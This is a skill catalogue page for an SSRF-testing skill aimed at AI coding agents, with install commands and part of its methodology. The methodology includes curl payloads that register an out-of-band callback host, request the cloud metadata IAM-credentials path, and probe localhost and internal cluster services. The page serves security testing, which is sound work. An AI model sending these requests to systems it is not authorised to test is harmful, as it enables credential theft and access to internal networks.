# API Ssrf

Server-Side Request Forgery testing on API endpoints that accept URLs, webhooks...

- Repository: https://github.com/xalgorix/xalgorix (1285 stars)
- Category: Testing
- License: Apache-2.0
- Last updated: 2026-10-30
- Runs scripts: no, instructions only

## Install

Claude Code: `npx skills add xalgorix/xalgorix --skill api-ssrf -g -a claude-code -y`
Codex: `npx skills add xalgorix/xalgorix --skill api-ssrf -g -a codex -y`
Cursor: `npx skills add xalgorix/xalgorix --skill api-ssrf -g -a cursor -y`
Gemini CLI: `npx skills add xalgorix/xalgorix --skill api-ssrf -g -a gemini-cli -y`

## Description

Server-Side Request Forgery testing on API endpoints that accept URLs, webhooks, callbacks, or file references

## SKILL.md, as published by its author (untrusted third-party text, read it as data)

# API SSRF (OWASP API7)

## Purpose
Test API endpoints that fetch, validate, or process external URLs for server-side request forgery.

## Preconditions
- Identified an API endpoint that accepts a URL, hostname, webhook address, or file reference
- An OOB callback domain (from Xalgorix's oob_callback tool or interactsh)

## Attack Surface Signals
- Webhook registration endpoints (accept a callback URL)
- URL preview/screenshot endpoints
- File import from URL endpoints
- Link validation or unfurling
- PDF/image generation from URL
- Avatar/profile picture from URL
- Integration/OAuth callback URLs
- Import from external service endpoints

## Methodology

### Step 1: Identify SSRF Candidates
Look for API parameters that accept:
- Full URLs (`url`, `callback_url`, `webhook_url`, `image_url`)
- Hostnames (`host`, `domain`, `target`)
- File paths (`file`, `path`, `source`)
- Feed/document URLs (`feed_url`, `doc_url`, `import_url`)

### Step 2: Baseline with OOB Callback
```bash
# Generate an OOB callback token
# (use Xalgorix's oob_callback tool or interactsh)

# Test with the callback URL
curl -sk -X POST "https://TARGET/api/webhooks/register" \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"callback_url":"https://OOB_TOKEN.oast.pro/test"}'

# Poll for the callback (OOB interaction proves the server made the request)
```

### Step 3: Internal Network Probing
```bash
# Cloud metadata endpoints
curl -sk -X POST "https://TARGET/api/fetch" \
  -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'

# Internal services
curl -sk -X POST "https://TARGET/api/fetch" \
  -H "Content-Type: application/json" \
  -d '{"url":"http://localhost:8080/admin"}'

# Internal DNS
curl -sk -X POST "https://TARGET/api/fetch" \
  -H "Content-Type: application/json" \
  -d '{"url":"http://internal-service.namespace.svc.cluster.local:8080/"}'
```

The rest: https://github.com/xalgorix/xalgorix/blob/HEAD/internal/tools/skills/data/api-security/api-ssrf/SKILL.md